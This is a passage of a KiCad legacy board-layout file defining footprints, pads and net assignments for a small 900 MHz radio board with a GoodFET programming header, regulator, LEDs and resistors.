N V 21 N \"P3\"\nT1 0 0 400 400 0 80 N I 21 N \"RESET_N\"\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 18 \"/RESET_N\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-TESTPOINT-100MIL\n$MODULE GSG-SPST-FSM4JSMATR\nPo 67500 36500 2700 15 4E488E6F 504D3AB0 ~P\nLi GSG-SPST-FSM4JSMATR\nSc 504D3AB0\nAR /504CFDB1\nOp 0 0 0\nT0 0 0 394 394 2700 80 N V 21 N \"SW1\"\nT1 0 0 394 394 2700 80 N I 21 N \"SW_PUSH\"\nDC 0 0 689 0 80 21\nDS -1181 -1181 1181 -1181 80 21\nDS 1181 -1181 1181 1181 80 21\nDS 1181 1181 -1181 1181 80 21\nDS -1181 1181 -1181 -1181 80 21\n$PAD\nSh \"1\" R 551 827 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 9 \"/P1_2\"\nPo 886 -1791\n$EndPAD\n$PAD\nSh \"1\" R 551 827 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 9 \"/P1_2\"\nPo 886 1791\n$EndPAD\n$PAD\nSh \"2\" R 551 827 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -886 -1791\nLe 83\n$EndPAD\n$PAD\nSh \"2\" R 551 827 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo -886 1791\nLe -1429971160\n$EndPAD\n$EndMODULE  GSG-SPST-FSM4JSMATR\n$MODULE GSG-SOT23-3\nPo 54000 38000 900 15 50516083 504D3AB1 ~P\nLi GSG-SOT23-3\nKw CMS SOT\nSc 504D3AB1\nAR /504CAD4C\nOp 0 0 0\nAt SMD \nT0 0 -410 300 300 900 75 N V 21 N \"U2\"\nT1 0 0 300 300 900 75 N I 21 N \"AP7313\"\nDS -600 -150 600 -150 50 21\nDS 600 -150 600 150 50 21\nDS 600 150 -600 150 50 21\nDS -600 150 -600 -150 50 21\n$PAD\nSh \"2\" R 360 360 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -350 -400\nLe 3\n$EndPAD\n$PAD\nSh \"1\" R 360 360 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 19 \"/VBUS\"\nPo 350 -400\n$EndPAD\n$PAD\nSh \"3\" R 360 360 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 0 400\nLe 111\n$EndPAD\n$SHAPE3D\nNa \"smd/cms_sot23.wrl\"\nSc 0.130000 0.150000 0.150000\nOf 0.000000 0.000000 0.000000\nRo 0.000000 0.000000 0.000000\n$EndSHAPE3D\n$EndMODULE  GSG-SOT23-3\n$MODULE GSG-SMA-VERTICAL\nPo 67250 46200 0 15 5047A6AD 504D3AB2 ~P\nLi GSG-SMA-VERTICAL\nSc 504D3AB2\nAR /504CFCB0\nOp 0 0 0\nT0 0 0 600 600 0 120 N V 21 N \"P2\"\nT1 0 0 600 600 0 120 N I 21 N \"ANTENNA\"\nDS -1600 -1600 -1600 1600 150 21\nDS -1600 1600 1600 1600 150 21\nDS 1600 1600 1600 -1600 150 21\nDS 1600 -1600 -1600 -1600 150 21\n$PAD\nSh \"1\" C 1000 1000 0 0 0\nDr 600 0 0\nAt STD N 00E0FFFF\nNe 23 \"N-000024\"\nPo 0 0\n$EndPAD\n$PAD\nSh \"2\" C 1000 1000 0 0 0\nDr 670 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo -1000 -1000\n$EndPAD\n$PAD\nSh \"3\" C 1000 1000 0 0 0\nDr 670 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo -1000 1000\n$EndPAD\n$PAD\nSh \"4\" C 1000 1000 0 0 0\nDr 670 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo 1000 1000\n$EndPAD\n$PAD\nSh \"5\" C 1000 1000 0 0 0\nDr 670 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo 1000 -1000\n$EndPAD\n$EndMODULE  GSG-SMA-VERTICAL\n$MODULE GSG-HEADER-2x8\nPo 59500 34500 1800 15 4F8A6071 504D3AB4 ~P\nLi GSG-HEADER-2x8\nKw CONN\nSc 504D3AB4\nAR /504CF706\nOp 0 0 0\nT0 0 0 400 400 1800 80 N V 21 N \"P1\"\nT1 0 0 400 400 1800 80 N I 21 N \"EXPANSION\"\nDS -4000 -1000 4000 -1000 150 21\nDS 4000 -1000 4000 1000 150 21\nDS 4000 1000 -4000 1000 150 21\nDS -3000 0 -4250 0 150 21\nDS -4250 0 -4250 1250 150 21\nDS -4250 1250 -3000 1250 150 21\nDS -3000 1250 -3000 0 150 21\nDS -4000 1000 -4000 -1000 150 21\n$PAD\nSh \"1\" R 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo -3500 500\nLe 33\n$EndPAD\n$PAD\nSh \"2\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 3 \"/P0_0\"\nPo -3500 -500\nLe 34735648\n$EndPAD\n$PAD\nSh \"3\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 4 \"/P0_1\"\nPo -2500 500\nLe 24\n$EndPAD\n$PAD\nSh \"4\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 5 \"/P0_2\"\nPo -2500 -500\nLe -1563238664\n$EndPAD\n$PAD\nSh \"5\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 6 \"/P0_3\"\nPo -1500 500\nLe 48\n$EndPAD\n$PAD\nSh \"6\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 7 \"/P0_4\"\nPo -1500 -500\nLe 48\n$EndPAD\n$PAD\nSh \"7\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 8 \"/P0_5\"\nPo -500 500\nLe 48\n$EndPAD\n$PAD\nSh \"8\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 9 \"/P1_2\"\nPo -500 -500\nLe 33\n$EndPAD\n$PAD\nSh \"9\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 10 \"/P1_3\"\nPo 500 500\nLe 30841616\n$EndPAD\n$PAD\nSh \"10\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 11 \"/P1_4\"\nPo 500 -500\nLe 97\n$EndPAD\n$PAD\nSh \"11\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 12 \"/P1_5\"\nPo 1500 500\nLe 34831136\n$EndPAD\n$PAD\nSh \"12\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 13 \"/P1_6\"\nPo 1500 -500\nLe 35604240\n$EndPAD\n$PAD\nSh \"13\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 14 \"/P1_7\"\nPo 2500 500\nLe 42\n$EndPAD\n$PAD\nSh \"14\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 15 \"/P2_0\"\nPo 2500 -500\nLe 17\n$EndPAD\n$PAD\nSh \"15\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 16 \"/P2_3\"\nPo 3500 500\nLe 9\n$EndPAD\n$PAD\nSh \"16\" C 600 600 0 0 1800\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 17 \"/P2_4\"\nPo 3500 -500\nLe 99\n$EndPAD\n$EndMODULE  GSG-HEADER-2x8\n$MODULE GSG-HEADER-2x7\nPo 52000 43500 0 15 4F8A6053 504D3AB5 ~P\nLi GSG-HEADER-2x7\nKw CONN\nSc 504D3AB5\nAR /504CF491\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P8\"\nT1 0 0 400 400 0 80 N I 21 N \"GOODFET\"\nDS -2500 0 -3750 0 150 21\nDS -3750 0 -3750 1250 150 21\nDS -3750 1250 -2500 1250 150 21\nDS -2500 1250 -2500 0 150 21\nDS -3500 1000 3500 1000 150 21\nDS 3500 1000 3500 -1000 150 21\nDS 3500 -1000 -3500 -1000 150 21\nDS -3500 1000 -3500 -1000 150 21\n$PAD\nSh \"1\" R 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 2 \"/DD\"\nPo -3000 500\nLe 33\n$EndPAD\n$PAD\nSh \"2\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 35 \"N-000039\"\nPo -3000 -500\nLe 34735648\n$EndPAD\n$PAD\nSh \"3\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo -2000 500\nLe 24\n$EndPAD\n$PAD\nSh \"4\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo -2000 -500\nLe -1563238664\n$EndPAD\n$PAD\nSh \"5\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 18 \"/RESET_N\"\nPo -1000 500\nLe 48\n$EndPAD\n$PAD\nSh \"6\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo -1000 -500\nLe 48\n$EndPAD\n$PAD\nSh \"7\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 1 \"/DC\"\nPo 0 500\nLe 48\n$EndPAD\n$PAD\nSh \"8\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 0 -500\nLe 33\n$EndPAD\n$PAD\nSh \"9\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo 1000 500\nLe 30841616\n$EndPAD\n$PAD\nSh \"10\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 1000 -500\nLe 97\n$EndPAD\n$PAD\nSh \"11\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 2000 500\nLe 34831136\n$EndPAD\n$PAD\nSh \"12\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 2000 -500\nLe 35604240\n$EndPAD\n$PAD\nSh \"13\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 3000 500\nLe 42\n$EndPAD\n$PAD\nSh \"14\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 0 \"\"\nPo 3000 -500\nLe 17\n$EndPAD\n$EndMODULE  GSG-HEADER-2x7\n$MODULE GSG-HEADER-2x3\nPo 50000 34500 0 15 4F8A5FD1 504D3AB6 ~P\nLi GSG-HEADER-2x3\nKw CONN\nSc 504D3AB6\nAR /504D258A\nOp 0 0 0\nT0 0 0 400 400 0 80 N V 21 N \"P9\"\nT1 0 0 400 400 0 80 N I 21 N \"PWR\"\nDS -500 0 -1750 0 150 21\nDS -1750 0 -1750 1250 150 21\nDS -1750 1250 -500 1250 150 21\nDS -500 1250 -500 0 150 21\nDS -1500 -1000 1500 -1000 150 21\nDS 1500 -1000 1500 1000 150 21\nDS 1500 1000 -1500 1000 150 21\nDS -1500 1000 -1500 -1000 150 21\n$PAD\nSh \"1\" R 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo -1000 500\nLe 33\n$EndPAD\n$PAD\nSh \"2\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 20 \"3V3\"\nPo -1000 -500\nLe 34735648\n$EndPAD\n$PAD\nSh \"3\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo 0 500\nLe 24\n$EndPAD\n$PAD\nSh \"4\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 20 \"3V3\"\nPo 0 -500\nLe -1563238664\n$EndPAD\n$PAD\nSh \"5\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 21 \"GND\"\nPo 1000 500\nLe 48\n$EndPAD\n$PAD\nSh \"6\" C 600 600 0 0 0\nDr 400 0 0\nAt STD N 00E0FFFF\nNe 20 \"3V3\"\nPo 1000 -500\nLe 48\n$EndPAD\n$EndMODULE  GSG-HEADER-2x3\n$MODULE GSG-B0310J50100AHF\nPo 63800 46000 2700 15 50516047 504D6841 ~P\nLi GSG-B0310J50100AHF\nSc 504D6841\nAR /504C9FEC\nOp 0 0 0\nT0 0 0 250 250 2700 63 N V 21 N \"T1\"\nT1 0 0 250 250 2700 63 N I 21 N \"BALUN\"\nDS -413 256 413 256 80 21\nDS 413 -256 -413 -256 80 21\nDC 256 0 276 20 80 21\nDS -413 -256 -413 256 80 21\nDS 413 -256 413 256 80 21\n$PAD\nSh \"1\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 30 \"N-000032\"\nPo 260 -195\nLe 33054512\n$EndPAD\n$PAD\nSh \"2\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 28 \"N-000030\"\nPo 0 -195\nLe 755437432\n$EndPAD\n$PAD\nSh \"3\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 27 \"N-000029\"\nPo -260 -195\nLe 32750520\n$EndPAD\n$PAD\nSh \"4\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 26 \"N-000028\"\nPo -260 195\nLe 6\n$EndPAD\n$PAD\nSh \"5\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 0 195\n$EndPAD\n$PAD\nSh \"6\" R 161 130 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 0 \"\"\nPo 260 195\nLe 32\n$EndPAD\n$EndMODULE  GSG-B0310J50100AHF\n$MODULE GSG-900MHZ-INVERTED-F\nPo 64000 48000 1800 15 50516053 504D3AB8 ~P\nLi GSG-900MHZ-INVERTED-F\nSc 504D3AB8\nAR /504C9FF3\nOp 0 0 0\nT0 7087 -2165 600 600 1800 120 N I 21 N \"J1\"\nT1 7087 -984 600 600 1800 120 N I 21 N \"GSG-900MHZ-F-ANTENNA\"\n$PAD\nSh \"1\" R 787 7874 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 29 \"N-000031\"\nPo 0 -3937\n$EndPAD\n$PAD\nSh \"2\" R 394 7874 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 21 \"GND\"\nPo -2559 -3937\nLe 72\n$EndPAD\n$PAD\nSh \"\" R 5118 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 0 -7677\nLe 32929184\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 2362 -5512\nLe 33355568\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 3346 -3346\nLe 31206400\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 5315 -7677\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 7283 -3346\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 9252 -7677\nLe -1642768744\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 11220 -3346\n$EndPAD\n$PAD\nSh \"\" R 2362 394 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 13189 -7677\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 4331 -5512\nLe 33355568\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 6299 -5512\nLe 33355568\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 8268 -5512\nLe 33355568\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 10236 -5512\n$EndPAD\n$PAD\nSh \"\" R 394 4724 0 0 1800\nDr 0 0 0\nAt SMD N 00008000\nNe 0 \"\"\nPo 12205 -5512\nLe 32929184\n$EndPAD\n$EndMODULE  GSG-900MHZ-INVERTED-F\n$MODULE GSG-0603D\nPo 65000 39000 2700 15 50516070 504D3AB9 ~P\nLi GSG-0603D\nSc 504D3AB9\nAR /504CF0C2\nOp 0 0 0\n.SolderMask 40\nT0 830 0 240 240 2700 60 N V 21 N \"D2\"\nT1 0 0 240 240 2700 60 N I 21 N \"LED1\"\nDS -20 30 -20 -30 80 21\nDS 80 0 -80 -130 80 21\nDS -80 -130 -80 130 80 21\nDS -80 130 80 0 80 21\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 300 0\nLe 18\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 34 \"N-000037\"\nPo -300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603D\n$MODULE GSG-0603D\nPo 56500 45000 1800 15 50516069 504D3ABB ~P\nLi GSG-0603D\nSc 504D3ABB\nAR /504CFE38\nOp 0 0 0\n.SolderMask 40\nT0 830 0 240 240 1800 60 N V 21 N \"D3\"\nT1 0 0 240 240 1800 60 N I 21 N \"LED2\"\nDS -20 30 -20 -30 80 21\nDS 80 0 -80 -130 80 21\nDS -80 -130 -80 130 80 21\nDS -80 130 80 0 80 21\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 300 0\nLe 18\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 24 \"N-000026\"\nPo -300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603D\n$MODULE GSG-0603D\nPo 56500 46000 1800 15 50516063 504D3ABD ~P\nLi GSG-0603D\nSc 504D3ABD\nAR /504CFE70\nOp 0 0 0\n.SolderMask 40\nT0 850 10 240 240 1800 60 N V 21 N \"D4\"\nT1 0 0 240 240 1800 60 N I 21 N \"LED3\"\nDS -20 30 -20 -30 80 21\nDS 80 0 -80 -130 80 21\nDS -80 -130 -80 130 80 21\nDS -80 130 80 0 80 21\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 21 \"GND\"\nPo 300 0\nLe 18\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00888000\nNe 25 \"N-000027\"\nPo -300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603D\n$MODULE GSG-0603-SHORT-10MIL\nPo 65000 34000 1800 15 504D2AC6 504D3ABF ~P\nLi GSG-0603-SHORT-10MIL\nSc 504D3ABF\nAR /504D0B94\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 1800 60 N V 21 N \"R13\"\nT1 0 0 240 240 1800 60 N I 21 N \"0\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00808000\nNe 22 \"N-000023\"\nPo 300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 1800\nDr 0 0 0\nAt SMD N 00808000\nNe 20 \"3V3\"\nPo -300 0\nLe 1380141389\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"\" R 280 100 0 0 1800\nDr 0 0 0\nAt SMD N 00808000\nNe 0 \"\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-0603-SHORT-10MIL\n$MODULE GSG-0603-SHORT-10MIL\nPo 60850 39800 0 15 504D2AC6 504D3AC1 ~P\nLi GSG-0603-SHORT-10MIL\nSc 504D3AC1\nAR /504CB0EB\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R7\"\nT1 0 0 240 240 0 60 N I 21 N \"0\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 32 \"N-000034\"\nPo 300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 33 \"N-000035\"\nPo -300 0\nLe 1380141389\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"\" R 280 100 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 0 \"\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-0603-SHORT-10MIL\n$MODULE GSG-0603-SHORT-10MIL\nPo 50500 41500 0 15 504D2AC6 504D3AC5 ~P\nLi GSG-0603-SHORT-10MIL\nSc 504D3AC5\nAR /504CF505\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R15\"\nT1 0 0 240 240 0 60 N I 21 N \"0\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 20 \"3V3\"\nPo 300 0\nLe 33\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 35 \"N-000039\"\nPo -300 0\nLe 1380141389\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"\" R 280 100 0 0 0\nDr 0 0 0\nAt SMD N 00808000\nNe 0 \"\"\nPo 0 0\nLe 33\n$EndPAD\n$EndMODULE  GSG-0603-SHORT-10MIL\n$MODULE GSG-0603\nPo 58000 46000 0 15 4CFF2E39 504D3AC6 ~P\nLi GSG-0603\nSc 504D3AC6\nAR /504CFE6F\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R12\"\nT1 0 0 240 240 0 60 N I 21 N \"330\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 17 \"/P2_4\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 25 \"N-000027\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 58000 45000 0 15 4CFF2E39 504D3AC8 ~P\nLi GSG-0603\nSc 504D3AC8\nAR /504CFE39\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R11\"\nT1 0 0 240 240 0 60 N I 21 N \"330\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 16 \"/P2_3\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 24 \"N-000026\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 52000 45500 900 15 4CFF2E39 504D3ACA ~P\nLi GSG-0603\nSc 504D3ACA\nAR /504CF38E\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 900 60 N V 21 N \"R14\"\nT1 0 0 240 240 900 60 N I 21 N \"10k\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 1 \"/DC\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 900\nDr 0 0 0\nAt SMD N 00888000\nNe 20 \"3V3\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 57950 42300 0 15 4CFF2E39 504D3ACC ~P\nLi GSG-0603\nSc 504D3ACC\nAR /504CAEA4\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R10\"\nT1 0 0 240 240 0 60 N I 21 N \"33\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 43 \"N-000051\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 36 \"N-000041\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 57650 41700 0 15 4CFF2E39 504D3ACE ~P\nLi GSG-0603\nSc 504D3ACE\nAR /504CAE9B\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R9\"\nT1 0 0 240 240 0 60 N I 21 N \"33\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 37 \"N-000042\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 38 \"N-000043\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 57650 41100 0 15 4CFF2E39 504D3AD0 ~P\nLi GSG-0603\nSc 504D3AD0\nAR /504CAF08\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 0 60 N V 21 N \"R8\"\nT1 0 0 240 240 0 60 N I 21 N \"1k5\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 33 \"N-000035\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 0 0 0\nDr 0 0 0\nAt SMD N 00888000\nNe 38 \"N-000043\"\nPo -300 0\nLe 46661520\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$EndMODULE  GSG-0603\n$MODULE GSG-0603\nPo 64000 39000 2700 15 4CFF2E39 504D3AD4 ~P\nLi GSG-0603\nSc 504D3AD4\nAR /504CF0D3\nOp 0 0 0\n.SolderMask 40\nT0 0 0 240 240 2700 60 N V 21 N \"R5\"\nT1 0 0 240 240 2700 60 N I 21 N \"330\"\nDS 540 -240 -540 -240 80 21\nDS -540 -240 -540 240 80 21\nDS -540 240 540 240 80 21\nDS 540 240 540 -240 80 21\n$PAD\nSh \"2\" R 340 340 0 0 2700\nDr 0 0 0\nAt SMD N 00888000\nNe 42 \"N-000047\"\nPo 300 0\nLe 226\n.SolderMask 40\n.LocalClearance 70\n$EndPAD\n$PAD\nSh \"1\" R 340 340 